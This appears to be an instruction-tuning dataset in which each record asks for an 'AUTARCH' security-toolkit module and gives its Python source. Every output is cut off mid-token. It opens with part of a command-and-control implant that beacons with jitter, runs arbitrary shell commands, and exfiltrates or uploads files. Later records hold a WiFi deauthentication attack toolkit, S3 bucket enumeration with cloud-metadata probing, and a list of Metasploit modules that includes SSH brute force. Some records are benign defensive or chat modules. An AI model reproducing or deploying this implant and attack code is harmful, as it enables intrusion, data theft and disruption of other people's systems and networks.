s.send(json.dumps(result).encode()+\"\\\\n\".encode())\n except:pass\n except:pass\n finally:\n try:s.close()\n except:pass\n jitter_delay=BEACON_INTERVAL+random.uniform(-JITTER,JITTER)\n time.sleep(max(1,jitter_delay))\n\ndef handle_cmd(cmd):\n t=cmd.get(\"type\",\"\")\n if t==\"exec\":\n try:\n r=subprocess.run(cmd[\"command\"],shell=True,capture_output=True,text=True,timeout=60)\n return{{\"type\":\"result\",\"task_id\":cmd.get(\"task_id\",\"\"),\"stdout\":r.stdout[-4096:],\"stderr\":r.stderr[-2048:],\"rc\":r.returncode}}\n except Exception as e:\n return{{\"type\":\"error\",\"task_id\":cmd.get(\"task_id\",\"\"),\"error\":str(e)}}\n elif t==\"download\":\n try:\n with open(cmd[\"path\"],\"rb\") as f:d=base64.b64encode(f.read()).decode()\n return{{\"type\":\"file\",\"task_id\":cmd.get(\"task_id\",\"\"),\"name\":os.path.basename(cmd[\"path\"]),\"data\":d}}\n except Exception as e:\n return{{\"type\":\"error\",\"task_id\":cmd.get(\"task_id\",\"\"),\"error\":str(e)}}\n elif t==\"upload\":\n try:\n with open(cmd[\"path\"],\"wb\") as f:f.write(base64.b64decode(cmd[\"data\"]))\n return{{\"type\":\"result\",\"task_id\":cmd.get(\"task_id\",\"\"),\"stdout\":\"Uploaded to \"+cmd[\"path\"]}}\n except Exception as e:\n return{{\"type\":\"error\",\"task_id\":cmd.get(\"task_id\",\"\"),\"error\":str(e)}}\n elif t==\"sysinfo\":\n return{{\"type\":\"result\",\"task_id\":cmd.get(\"task_id\",\"\"),\n \"stdout\":json.dumps({{\"os\":platform.system(),\"release\":platform.release(),\n \"hostname\":socket.getho
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'core' category that interactive chat with the llm. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: chat\nCategory: core\nDescription: Interactive chat with the LLM", "output": "\"\"\"\nAUTARCH Chat Module\nInteractive chat interface for the LLM\n\nThis module provides a command-line chat interface to interact with the loaded model.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\n\n# Module metadata\nDESCRIPTION = \"Interactive chat with the LLM\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"core\"\n\n# Add parent directory to path\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\nfrom core.llm import get_llm, LLMError\nfrom core.banner import Colors, clear_screen, display_banner\n\n\nclass ChatInterface:\n \"\"\"Interactive chat interface for AUTARCH LLM.\"\"\"\n\n COMMANDS = {\n '/help': 'Show available commands',\n '/clear': 'Clear conversation history',\n '/history': 'Show conversation history',\n '/info': 'Show model information',\n '/system': 'Set system prompt (e.g., /system You are a helpful assistant)',\n '/temp': 'Set temperature (e.g., /temp 0.8)',\n '/tokens': 'Set max tokens (e.g., /tokens 1024)',\n '/stream': 'Toggle streaming mode',\n '/exit': 'Exit chat',\n }\n\n def __init__(self):\n self.llm = get_llm()\n self.system_prompt = \"You are AUTARCH, an AI assistant created by darkHal and Setec Security Labs. You are helpful, knowledgeable, and direct in your responses.\"\n self.streaming = True\n self.temp_override = None\n self.tokens_override = None\n\n def print_status(self, message: str, status: str = \"info\"):\n \"\"\"Print a status message.\"\"\"\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def print_help(self):\n \"\"\"Display available commands.\"\"\"\n print(f\"\\n{Colors.BOLD}{Colors.WHITE}Available Commands:{Colors.RESET}\")\n print(f\"{Colors.DIM}{'─' * 50}{Colors.RESET}\")\n for cmd, desc in self.COMMANDS.items():\n print(f\" {Colors.CYAN}{cmd:12}{Colors.RESET} {desc}\")\n print()\n\n def print_history(self):\n \"\"\"Display conversation history.\"\"\"\n history = self.llm.get_history()\n if not history:\n self.print_status(\"No conversation history\", \"info\")\n return\n\n print(f\"\\n{Colors.BOLD}{Colors.WHITE}Conversation History:{Colors.RESET}\")\n print(f\"{Colors.DIM}{'─' * 50}{Colors.RESET}\")\n\n for msg in history:\n role = msg['role']\n content = msg['content']\n\n if role == 'system':\n print(f\"\\n{Colors.MAGENTA}[System]{Colors.RESET}\")\n print(f\" {Colors.DIM}{content[:100]}...{Colors.RESET}\" if len(content) > 100 else f\" {Colors.DIM}{content}{Colors.RESET}\")\n elif role == 'user':\n print(f\"\\n{Colors.GREEN}[You]{Colors.RESET}\")\n print(f\" {content}\")\n elif role == 'assistant':\n print(f\"\\n{Colors.CYAN}[AUTARCH]{Colors.RESET}\")\n # Truncate long responses in history view\n if len(content) > 200:\n print(f\" {content[:200]}...\")\n else:\n print(f\" {content}\")\n print()\n\n def print_model_info(self):\n \"\"\"Display model information.\"\"\"\n info = self.llm.get_model_info()\n\n print(f\"\\n{Colors.BOLD}{Colors.WHITE}Model Information:{Colors.RESET}\")\n print(f\"{Colors.DIM}{'─' * 50}{Colors.RESET}\")\n\n if info['
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that cloud infrastructure security scanning. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: cloud_scan\nCategory: offense\nDescription: Cloud infrastructure security scanning", "output": "\"\"\"AUTARCH Cloud Security Scanner\n\nAWS/Azure/GCP bucket enumeration, IAM misconfiguration detection, exposed\nservice scanning, and cloud resource discovery.\n\"\"\"\n\nDESCRIPTION = \"Cloud infrastructure security scanning\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport json\nimport time\nimport threading\nfrom pathlib import Path\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\ntry:\n import requests\n HAS_REQUESTS = True\nexcept ImportError:\n HAS_REQUESTS = False\n\n\n# ── Cloud Provider Endpoints ─────────────────────────────────────────────────\n\nAWS_REGIONS = [\n 'us-east-1', 'us-east-2', 'us-west-1', 'us-west-2',\n 'eu-west-1', 'eu-west-2', 'eu-central-1',\n 'ap-southeast-1', 'ap-southeast-2', 'ap-northeast-1',\n]\n\nCOMMON_BUCKET_NAMES = [\n 'backup', 'backups', 'data', 'dev', 'staging', 'prod', 'production',\n 'logs', 'assets', 'media', 'uploads', 'images', 'static', 'public',\n 'private', 'internal', 'config', 'configs', 'db', 'database',\n 'archive', 'old', 'temp', 'tmp', 'test', 'debug', 'admin',\n 'www', 'web', 'api', 'app', 'mobile', 'docs', 'documents',\n 'reports', 'export', 'import', 'share', 'shared',\n]\n\nMETADATA_ENDPOINTS = {\n 'aws': 'http://169.254.169.254/latest/meta-data/',\n 'gcp': 'http://metadata.google.internal/computeMetadata/v1/',\n 'azure': 'http://169.254.169.254/metadata/instance?api-version=2021-02-01',\n 'digitalocean': 'http://169.254.169.254/metadata/v1/',\n}\n\n\n# ── Cloud Scanner ────────────────────────────────────────────────────────────\n\nclass CloudScanner:\n \"\"\"Cloud infrastructure security scanner.\"\"\"\n\n def __init__(self):\n self.data_dir = os.path.join(get_data_dir(), 'cloud_scan')\n os.makedirs(self.data_dir, exist_ok=True)\n self.results: List[Dict] = []\n self._jobs: Dict[str, Dict] = {}\n\n # ── S3 Bucket Enumeration ────────────────────────────────────────────\n\n def enum_s3_buckets(self, keyword: str, prefixes: List[str] = None,\n suffixes: List[str] = None) -> str:\n \"\"\"Enumerate S3 buckets with naming permutations. Returns job_id.\"\"\"\n if not HAS_REQUESTS:\n return ''\n\n job_id = f's3enum_{int(time.time())}'\n self._jobs[job_id] = {\n 'type': 's3_enum', 'status': 'running',\n 'found': [], 'checked': 0, 'total': 0\n }\n\n def _enum():\n prefixes_list = prefixes or ['', 'dev-', 'staging-', 'prod-', 'test-', 'backup-']\n suffixes_list = suffixes or ['', '-backup', '-data', '-assets', '-logs', '-dev',\n '-staging', '-prod', '-public', '-private']\n\n bucket_names = set()\n for pfx in prefixes_list:\n for sfx in suffixes_list:\n bucket_names.add(f'{pfx}{keyword}{sfx}')\n # Add common patterns\n for common in COMMON_BUCKET_NAMES:\n bucket_names.add(f'{keyword}-{common}')\n bucket_names.add(f'{common}-{keyword}')\n\n self._jobs[job_id]['total'] = len(bucket_names)\n found = []\n\n for name i
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that container security — docker & kubernetes auditing. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: container_sec\nCategory: defense\nDescription: Container security — Docker & Kubernetes auditing", "output": "\"\"\"AUTARCH Container Security\n\nDocker auditing, Kubernetes assessment, container image scanning,\nescape detection, Dockerfile linting, and runtime monitoring.\n\"\"\"\n\nDESCRIPTION = \"Container security — Docker & Kubernetes auditing\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\nimport os\nimport re\nimport sys\nimport json\nimport subprocess\nimport platform\nimport time\nfrom pathlib import Path\nfrom datetime import datetime\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import get_data_dir, find_tool\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n import shutil\n\n def find_tool(name):\n return shutil.which(name)\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\ntry:\n from core.banner import Colors, clear_screen, display_banner\nexcept ImportError:\n class Colors:\n RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = ''\n\n def clear_screen():\n pass\n\n def display_banner():\n pass\n\n\n# ── Dangerous Docker capabilities ───────────────────────────────────────────\n\nDANGEROUS_CAPS = [\n 'SYS_ADMIN', 'NET_ADMIN', 'SYS_PTRACE', 'SYS_RAWIO',\n 'DAC_OVERRIDE', 'FOWNER', 'NET_RAW', 'MKNOD', 'SYS_CHROOT',\n 'AUDIT_WRITE', 'SETFCAP', 'MAC_OVERRIDE', 'MAC_ADMIN',\n 'SYSLOG', 'DAC_READ_SEARCH', 'LINUX_IMMUTABLE', 'SYS_BOOT',\n 'SYS_MODULE', 'SYS_TIME', 'KILL',\n]\n\nSENSITIVE_MOUNTS = [\n '/var/run/docker.sock', '/run/docker.sock',\n '/proc', '/sys', '/dev', '/etc/shadow', '/etc/passwd',\n '/root', '/home', '/var/log',\n]\n\nDEFAULT_SECCOMP_PROFILE = 'runtime/default'\n\n# ── Dockerfile Lint Rules ───────────────────────────────────────────────────\n\nDOCKERFILE_RULES = {\n 'DL001': {'severity': 'high', 'title': 'FROM uses :latest tag',\n 'desc': 'Pin image versions for reproducible builds.'},\n 'DL002': {'severity': 'high', 'title': 'No USER directive',\n 'desc': 'Container runs as root by default. Add a USER directive.'},\n 'DL003': {'severity': 'medium', 'title': 'ADD used instead of COPY',\n 'desc': 'Use COPY for local files. ADD auto-extracts and supports URLs.'},\n 'DL004': {'severity': 'high', 'title': 'Secrets in ENV/ARG',\n 'desc': 'Avoid passing secrets via ENV or ARG. Use build secrets.'},\n 'DL005': {'severity': 'low', 'title': 'Missing HEALTHCHECK',\n 'desc': 'Add HEALTHCHECK for container orchestration readiness.'},\n 'DL006': {'severity': 'medium', 'title': 'apt-get without --no-install-recommends',\n 'desc': 'Use --no-install-recommends to reduce image size.'},\n 'DL007': {'severity': 'low', 'title': 'Missing cache cleanup',\n 'desc': 'Run apt-get clean / rm -rf /var/lib/apt/lists/* after install.'},\n 'DL008': {'severity': 'medium', 'title': 'EXPOSE all interfaces',\n 'desc': 'Avoid EXPOSE with 0.0.0.0; bind to specific interfaces.'},\n 'DL009': {'severity': 'high', 'title': 'COPY / ADD of sensitive files',\n 'desc': 'Avoid copying .env, credentials, or private keys into image.'},\n 'DL010': {'severity': 'medium', 'title': 'Using sudo in RUN',\n 'desc': 'Avoid sudo in Dockerfiles. Use USER directive instead.'},\n 'DL011': {'severity': 'low', 'title': 'Multiple consecutive RUN commands',\n 'desc': 'Chain RUN commands with && to reduce layers.'},\
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'counter' category that threat detection & incident response. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: counter\nCategory: counter\nDescription: Threat detection & incident response", "output": "\"\"\"\nAUTARCH Counter Module\nThreat detection and incident response\n\nMonitors system for suspicious activity and potential threats.\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport re\nimport socket\nimport json\nimport time\nfrom pathlib import Path\nfrom datetime import datetime, timedelta\nfrom collections import Counter\nfrom dataclasses import dataclass\nfrom typing import Dict, List, Optional, Any\n\n# Module metadata\nDESCRIPTION = \"Threat detection & incident response\"\nAUTHOR = \"darkHal\"\nVERSION = \"2.0\"\nCATEGORY = \"counter\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\n\n# Try to import requests for GeoIP lookup\ntry:\n import requests\n REQUESTS_AVAILABLE = True\nexcept ImportError:\n requests = None\n REQUESTS_AVAILABLE = False\n\n\n@dataclass\nclass LoginAttempt:\n \"\"\"Information about a login attempt from an IP.\"\"\"\n ip: str\n count: int\n last_attempt: Optional[datetime] = None\n usernames: List[str] = None\n hostname: Optional[str] = None\n country: Optional[str] = None\n city: Optional[str] = None\n isp: Optional[str] = None\n geo_data: Optional[Dict] = None\n\n def __post_init__(self):\n if self.usernames is None:\n self.usernames = []\n\n\n# Metasploit recon modules for IP investigation\nMSF_RECON_MODULES = [\n {\n 'name': 'TCP Port Scan',\n 'module': 'auxiliary/scanner/portscan/tcp',\n 'description': 'TCP port scanner - scans common ports',\n 'options': {'PORTS': '21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080'}\n },\n {\n 'name': 'SYN Port Scan',\n 'module': 'auxiliary/scanner/portscan/syn',\n 'description': 'SYN stealth port scanner (requires root)',\n 'options': {'PORTS': '21-23,25,53,80,110,139,143,443,445,3306,3389,5900,8080'}\n },\n {\n 'name': 'SSH Version Scanner',\n 'module': 'auxiliary/scanner/ssh/ssh_version',\n 'description': 'Detect SSH version and supported algorithms',\n 'options': {}\n },\n {\n 'name': 'SSH Login Check',\n 'module': 'auxiliary/scanner/ssh/ssh_login',\n 'description': 'Brute force SSH login (requires wordlists)',\n 'options': {}\n },\n {\n 'name': 'SMB Version Scanner',\n 'module': 'auxiliary/scanner/smb/smb_version',\n 'description': 'Detect SMB version and OS information',\n 'options': {}\n },\n {\n 'name': 'SMB Share Enumeration',\n 'module': 'auxiliary/scanner/smb/smb_enumshares',\n 'description': 'Enumerate available SMB shares',\n 'options': {}\n },\n {\n 'name': 'HTTP Version Scanner',\n 'module': 'auxiliary/scanner/http/http_version',\n 'description': 'Detect HTTP server version',\n 'options': {}\n },\n {\n 'name': 'FTP Version Scanner',\n 'module': 'auxiliary/scanner/ftp/ftp_version',\n 'description': 'Detect FTP server version',\n 'options': {}\n },\n {\n 'name': 'Telnet Version Scanner',\n 'module': 'auxiliary/scanner/telnet/telnet_version',\n 'description': 'Detect Telnet banner and version',\n 'options': {}\n },\n {\n 'name': 'SNMP Enumeration',\n 'module': 'auxiliary/scanner/snmp/snmp_enum',\n 'description': 'Enumerate SNMP information',\n 'options': {}\n },\n {\n 'name': 'RDP Scanner',\n 'module': 'auxiliary/scanner/rdp/rdp_scanner',\n 'description': 'Detect RDP service',\n 'options': {}\n },\n {\n 'name': 'MySQL Version Scanner',
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that wifi deauthentication — targeted & broadcast attacks. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: deauth\nCategory: offense\nDescription: WiFi deauthentication — targeted & broadcast attacks", "output": "\"\"\"AUTARCH Deauth Attack Module\n\nTargeted and broadcast WiFi deauthentication, multi-target attacks,\ncontinuous mode, channel hopping, and client discovery for wireless\nassessments. Designed for Raspberry Pi and SBCs with monitor-mode adapters.\n\"\"\"\n\nDESCRIPTION = \"WiFi deauthentication — targeted & broadcast attacks\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport sys\nimport json\nimport time\nimport shutil\nimport signal\nimport struct\nimport threading\nimport subprocess\nfrom pathlib import Path\nfrom datetime import datetime\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\ntry:\n from core.banner import Colors, clear_screen, display_banner\nexcept ImportError:\n class Colors:\n RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = MAGENTA = \"\"\n def clear_screen(): pass\n def display_banner(): pass\n\n\n# ── Singleton ────────────────────────────────────────────────────────────────\n\n_instance = None\n\ndef get_deauth():\n \"\"\"Return singleton DeauthAttack instance.\"\"\"\n global _instance\n if _instance is None:\n _instance = DeauthAttack()\n return _instance\n\n\n# ── Helpers ──────────────────────────────────────────────────────────────────\n\nMAC_RE = re.compile(r'^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$')\nBROADCAST = 'FF:FF:FF:FF:FF:FF'\n\n\ndef _validate_mac(mac: str) -> bool:\n return bool(MAC_RE.match(mac))\n\n\ndef _run(cmd, timeout=30) -> tuple:\n \"\"\"Run a command, return (success, stdout).\"\"\"\n try:\n result = subprocess.run(\n cmd, shell=isinstance(cmd, str),\n capture_output=True, text=True, timeout=timeout\n )\n return result.returncode == 0, result.stdout.strip()\n except subprocess.TimeoutExpired:\n return False, 'Command timed out'\n except Exception as e:\n return False, str(e)\n\n\ndef _run_bg(cmd) -> Optional[subprocess.Popen]:\n \"\"\"Start a background process, return Popen or None.\"\"\"\n try:\n proc = subprocess.Popen(\n cmd, shell=isinstance(cmd, str),\n stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n text=True\n )\n return proc\n except Exception:\n return None\n\n\n# ── DeauthAttack Class ───────────────────────────────────────────────────────\n\nclass DeauthAttack:\n \"\"\"WiFi deauthentication attack toolkit.\"\"\"\n\n def __init__(self):\n # Data directory\n data_root = get_data_dir()\n if isinstance(data_root, Path):\n data_root = str(data_root)\n self.data_dir = os.path.join(data_root, 'deauth')\n os.makedirs(self.data_dir, exist_ok=True)\n\n self.history_path = os.path.join(self.data_dir, 'history.json')\n\n # Tool paths\n self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng')\n self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng')\n self.airodump = find_tool('airodump-ng'
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that system hardening & security checks. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: defender\nCategory: defense\nDescription: System hardening & security checks", "output": "\"\"\"\nAUTARCH Defender Module\nSystem hardening and security posture assessment\n\nChecks system configuration for security best practices.\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport socket\nimport re\nimport time\nimport json\nimport threading\nfrom pathlib import Path\nfrom datetime import datetime\n\n# Module metadata\nDESCRIPTION = \"System hardening & security checks\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\n\n\nclass Defender:\n \"\"\"System security checker.\"\"\"\n\n def __init__(self):\n self.results = []\n\n def print_status(self, message: str, status: str = \"info\"):\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def check(self, name: str, passed: bool, details: str = \"\"):\n \"\"\"Record a check result.\"\"\"\n self.results.append({\"name\": name, \"passed\": passed, \"details\": details})\n status = \"success\" if passed else \"warning\"\n self.print_status(f\"{name}: {'PASS' if passed else 'FAIL'}\", status)\n if details and not passed:\n print(f\" {Colors.DIM}{details}{Colors.RESET}\")\n\n def run_cmd(self, cmd: str) -> tuple:\n \"\"\"Run command and return (success, output).\"\"\"\n try:\n result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)\n return result.returncode == 0, result.stdout.strip()\n except:\n return False, \"\"\n\n def check_firewall(self):\n \"\"\"Check if firewall is enabled.\"\"\"\n # Check iptables\n success, output = self.run_cmd(\"iptables -L -n 2>/dev/null | head -20\")\n if success and \"Chain\" in output:\n rules = output.count(\"\\n\")\n self.check(\"Firewall (iptables)\", rules > 5, f\"Found {rules} rules\")\n return\n\n # Check ufw\n success, output = self.run_cmd(\"ufw status 2>/dev/null\")\n if success and \"active\" in output.lower():\n self.check(\"Firewall (ufw)\", True)\n return\n\n # Check firewalld\n success, output = self.run_cmd(\"firewall-cmd --state 2>/dev/null\")\n if success and \"running\" in output.lower():\n self.check(\"Firewall (firewalld)\", True)\n return\n\n self.check(\"Firewall\", False, \"No active firewall detected\")\n\n def check_ssh_config(self):\n \"\"\"Check SSH hardening.\"\"\"\n ssh_config = Path(\"/etc/ssh/sshd_config\")\n if not ssh_config.exists():\n self.check(\"SSH Config\", True, \"SSH not installed\")\n return\n\n content = ssh_config.read_text()\n\n # Check root login\n if \"PermitRootLogin no\" in content or \"PermitRootLogin prohibit-password\" in content:\n self.check(\"SSH Root Login Disabled\", True)\n else:\n self.check(\"SSH Root Login Disabled\", False, \"Root login may be enabled\")\n\n # Check password auth\n if \"PasswordAuthentication no\" in content:\n self.check(\"SSH Password Auth Disabled\", True)\n else:\n self.check(\"SSH Password Auth Disabled\", False, \"Consider using key-based auth only\")\n\n def check_open_ports(self):\n \"\"\"Check for listening ports.\"\"\"\n suc
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that real-time threat detection & counter-attack. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: defender_monitor\nCategory: defense\nDescription: Real-time threat detection & counter-attack", "output": "\"\"\"\nAUTARCH Threat Monitor Module\nReal-time threat detection, monitoring, and counter-attack\n\nCross-platform network monitoring with active response capabilities.\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport re\nimport json\nimport time\nimport platform\nimport urllib.request\nfrom pathlib import Path\nfrom datetime import datetime\nfrom collections import defaultdict\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\n# Module metadata\nDESCRIPTION = \"Real-time threat detection & counter-attack\"\nAUTHOR = \"darkHal\"\nVERSION = \"2.0\"\nCATEGORY = \"defense\"\n\n_is_win = platform.system() == 'Windows'\n\n\nclass ThreatMonitor:\n \"\"\"Cross-platform real-time threat monitoring.\"\"\"\n\n def __init__(self):\n self._data_dir = Path(__file__).parent.parent / 'data'\n self._blocklist_path = self._data_dir / 'blocklist.json'\n self._ddos_config_path = self._data_dir / 'ddos_config.json'\n self._mitigation_log_path = self._data_dir / 'mitigation_log.json'\n\n # In-memory state for tracking\n self._prev_bandwidth = {}\n self._prev_listening_ports = set()\n self._prev_listening_initialized = False\n self._connection_rate_history = []\n self._arp_table_cache = {}\n self._geoip_cache = {}\n\n # Process name cache to avoid repeated tasklist calls\n self._proc_name_cache = {}\n self._proc_name_cache_time = 0\n\n def run_cmd(self, cmd: str, timeout=15) -> tuple:\n \"\"\"Run command and return (success, output).\"\"\"\n try:\n result = subprocess.run(cmd, shell=True, capture_output=True,\n text=True, timeout=timeout)\n return result.returncode == 0, result.stdout.strip()\n except Exception:\n return False, \"\"\n\n def run_ps(self, ps_command: str, timeout=15) -> tuple:\n \"\"\"Run a PowerShell command (Windows only).\"\"\"\n cmd = f'powershell -NoProfile -ExecutionPolicy Bypass -Command \"{ps_command}\"'\n return self.run_cmd(cmd, timeout=timeout)\n\n # ==================== MONITORING ====================\n\n def get_connections(self):\n \"\"\"Get active network connections with process info.\"\"\"\n connections = []\n\n if _is_win:\n success, output = self.run_ps(\n \"Get-NetTCPConnection -ErrorAction SilentlyContinue | \"\n \"Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess | \"\n \"ConvertTo-Json -Depth 2\"\n )\n if success and output.strip():\n try:\n data = json.loads(output)\n if isinstance(data, dict):\n data = [data]\n for c in data:\n pid = c.get('OwningProcess', 0)\n proc_name = self._get_process_name_win(pid)\n connections.append({\n 'local_addr': c.get('LocalAddress', ''),\n 'local_port': c.get('LocalPort', 0),\n 'remote_addr': c.get('RemoteAddress', ''),\n 'remote_port': c.get('RemotePort', 0),\n 'state': c.get('State', ''),\n 'pid': pid,\n 'process': proc_name,\n })\n except json.JSONDecodeError:\n pass\n else:\n success, output = self.run_cmd(\"ss -tnp 2>/dev/null\")\n if success:\n for line in output.spli
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that windows system hardening & security checks. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: defender_windows\nCategory: defense\nDescription: Windows system hardening & security checks", "output": "\"\"\"\nAUTARCH Windows Defender Module\nWindows-native security posture assessment\n\nChecks Windows system configuration for security best practices.\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport re\nimport json\nfrom pathlib import Path\nfrom datetime import datetime\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\n# Module metadata\nDESCRIPTION = \"Windows system hardening & security checks\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\n\nclass WindowsDefender:\n \"\"\"Windows security checker.\"\"\"\n\n def __init__(self):\n self.results = []\n\n def check(self, name: str, passed: bool, details: str = \"\"):\n \"\"\"Record a check result.\"\"\"\n self.results.append({\"name\": name, \"passed\": passed, \"details\": details})\n\n def run_cmd(self, cmd: str, timeout=15) -> tuple:\n \"\"\"Run command and return (success, output).\"\"\"\n try:\n result = subprocess.run(cmd, shell=True, capture_output=True,\n text=True, timeout=timeout)\n return result.returncode == 0, result.stdout.strip()\n except Exception:\n return False, \"\"\n\n def run_ps(self, ps_command: str, timeout=15) -> tuple:\n \"\"\"Run a PowerShell command and return (success, output).\"\"\"\n cmd = f'powershell -NoProfile -ExecutionPolicy Bypass -Command \"{ps_command}\"'\n return self.run_cmd(cmd, timeout=timeout)\n\n # ==================== SECURITY CHECKS ====================\n\n def check_firewall(self):\n \"\"\"Check Windows Firewall status for all profiles.\"\"\"\n success, output = self.run_cmd(\"netsh advfirewall show allprofiles state\")\n if success:\n profiles_on = output.lower().count(\"on\")\n profiles_off = output.lower().count(\"off\")\n if profiles_off > 0:\n self.check(\"Windows Firewall\", False,\n f\"{profiles_off} profile(s) disabled\")\n else:\n self.check(\"Windows Firewall\", True,\n f\"All {profiles_on} profiles enabled\")\n else:\n self.check(\"Windows Firewall\", False, \"Could not query firewall state\")\n\n def check_ssh_config(self):\n \"\"\"Check Windows OpenSSH configuration.\"\"\"\n success, output = self.run_ps(\n \"Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*' \"\n \"| Select-Object -ExpandProperty State\"\n )\n if not success or \"Installed\" not in output:\n self.check(\"SSH Config\", True, \"OpenSSH Server not installed (good)\")\n return\n\n sshd_config = Path(os.environ.get('ProgramData', 'C:\\\\ProgramData')) / 'ssh' / 'sshd_config'\n if not sshd_config.exists():\n self.check(\"SSH Config\", False, \"OpenSSH installed but sshd_config not found\")\n return\n\n content = sshd_config.read_text(errors='ignore')\n\n if \"PermitRootLogin no\" in content or \"PermitRootLogin prohibit-password\" in content:\n self.check(\"SSH Root Login Disabled\", True)\n else:\n self.check(\"SSH Root Login Disabled\", False, \"Root login may be enabled\")\n\n if \"PasswordAuthentication no\" in content:\n self.check(\"SSH Password Auth Disabled\", True)\n else:\n self.check(\"SSH Password Auth Disabled\", False,\n \"Consider using key-based auth only\")\n\n def check_open_ports(self):\n \"\"\"Check for high-risk listening ports on Windows.\"\"\"\n succ
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'osint' category that manage osint investigation dossiers. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: dossier\nCategory: osint\nDescription: Manage OSINT investigation dossiers", "output": "\"\"\"\nAUTARCH Dossier Module\nManage and correlate OSINT investigation data\n\nCreate dossiers to associate related OSINT findings like email searches,\nusername scans, phone lookups, and custom notes.\n\"\"\"\n\nimport os\nimport sys\nimport json\nimport glob\nfrom pathlib import Path\nfrom datetime import datetime\nfrom typing import Dict, List, Optional\n\n# Module metadata\nNAME = \"Dossier\"\nDESCRIPTION = \"Manage OSINT investigation dossiers\"\nAUTHOR = \"darkHal Security Group\"\nVERSION = \"1.0\"\nCATEGORY = \"osint\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\n\n\nclass DossierManager:\n \"\"\"Manage OSINT investigation dossiers.\"\"\"\n\n def __init__(self):\n from core.paths import get_dossiers_dir\n self.dossier_dir = get_dossiers_dir()\n self.dossier_dir.mkdir(exist_ok=True)\n self.current_dossier = None\n self.current_dossier_path = None\n\n def print_status(self, message: str, status: str = \"info\"):\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": 